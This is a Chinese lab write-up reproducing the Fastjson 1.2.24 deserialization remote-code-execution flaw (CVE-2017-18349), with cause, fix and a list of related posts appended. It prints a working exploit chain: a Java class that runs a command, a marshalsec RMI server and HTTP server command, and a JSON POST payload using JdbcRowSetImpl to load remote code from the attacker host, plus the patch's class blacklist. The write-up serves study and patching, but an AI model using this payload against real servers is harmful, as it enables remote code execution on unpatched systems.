FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)#
一、漏洞简介
Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。
二、漏洞影响
影响版本
Fastjson<1.2.25
三、产生原因
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。
TemplatesImpl中存在一个反序列化利用链,在反序列化过程中,如果该类的getOutputProperties()方法被调用,即可成功触发代码执行漏洞。
TemplatesImpl类_outputProperties成员变量的getter方法满足被调用条件。无论通过fastjson哪种方式解析json字符串,都会触发getOutputProperties()方法。
由此可见:FastJson在反序列化TemplatesImpl类时会恰好触发TemplatesImpl类的getOutputProperties()方法;TemplatesImpl类的getOutputProperties()方法被触发就会引起反序列化代码执行漏洞。
四、复现过程
docker 靶机:192.168.111.137
攻击机 kali:192.168.111.136
靶场环境:FastJson 1.2.24
环境搭建好后访问192.168.111.137:8090,显示页面如下:
exp:
先将需要执行的java代码编译成class字节码文件,供靶机远程调用
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
使用Java反序列化利用工具marshalsec辅助开启RMI环境
marshalsec:
git clone https://github.com/mbechler/marshalsec
maven:
apt-get install maven
借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.136:1234/#TouchFile" 9999
开启http服务:
python -m SimpleHTTPServer 1234
发送POC,反弹shell
POST / HTTP/1.1
Host: 192.168.111.137:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.111.136:9999/TouchFile","autoCommit":true}}
运行payload,成功后,服务端响应码500。
在监听端口查看到已建立连接。
进入靶机查看命令是否执行成功,输入命令进入FastJson环境容器执行bash:
查看容器id
docker ps
执行以下命令查看远程命令是否被执行:
docker exec -it 01d4680e6d12 /bin/bash
success已被创建,复现成功。
复现过程中遇到的坑:JDK版本问题。
由于jdk:8u102没有com.sun.jndi.rmi.object.trustURLCodebase的限制,改为jdk:8u102或以下版本后复现成功。
五、修复方案
在fastjson的官方补丁中,将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName),并且扩充了黑名单列表,将传入的类名与黑名单一一比较,如果发现了相同开头的类就停止反序列化。
// 新增的黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
可以看到绝大部分常用的类都已经被加进来了,但是如果不经常维护此名单,一旦后面出现了新的可以利用的类,很容易就绕过这个限制。
六、参考链接
Fastjson1.2.24漏洞复现详细过程
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
marshalsec下载地址
标签
CVE-2017-18349、FastJson、反序列化、命令执行
FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)相关推荐
- fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
前言 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象. fastjson在解析js ...
- fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
漏洞背景 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo 1.11. ...
- fastjsonfastjson 1.2.24 反序列化导致任意命令执行
一 漏洞描述 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性.通过查找代码中相关的方法,即可构造出一些恶意利用链. 受 ...
- 通达OA v11.9 getdata任意命令执行漏洞复现+利用
1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...
- php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现
0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- jenkins java反序列化_Jenkins “Java 反序列化”过程远程命令执行漏洞
###漏洞原理 反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象.在原博文所提到的那些 Java ...
- 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 漏洞环境搭建 漏洞复现 反弹shell 题外话1 题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生 ...
最新文章
- mysql数据库查询缓存_MySQL查询缓存与数据库管理
- 分布式发布订阅消息系统Kafka单实例测试
- verilog中数组的定义_systemverilog中的数组操作
- java红包雨_Java升职加薪课开发企业年会红包雨场景项目实战视频教程
- 前端学习(3067):vue+element今日头条管理-频道筛选完成
- 7-1 是否同一棵二叉搜索树 (30分)
- 互联网协会点名QQ音乐等14款 App 过度收集用户信息
- busybox制作根文件系统
- 机器学习(3)——K-近邻算法改进约会网站的配对效果实例
- node.js框架 express
- GB28181标准文档以及GB35114标准文档免费下载
- 谷歌浏览器添加插件——json
- 初学JAVA项目(三、槑图秀秀)
- 重装mac系统 未能与恢复服务器取得联系,进入 macOS 系统恢复模式 – 重新安装 macOS 系统...
- 图片由模糊变清晰的效果实现
- 随便举个例子,说明单线程比多线程编程提高性能
- 数学三大危机与无穷小微积分
- Android 10.0锁屏界面默认不显示Notification通知
- 7200 笔记本硬盘 444
- canvas简单实现纯色背景图片抠图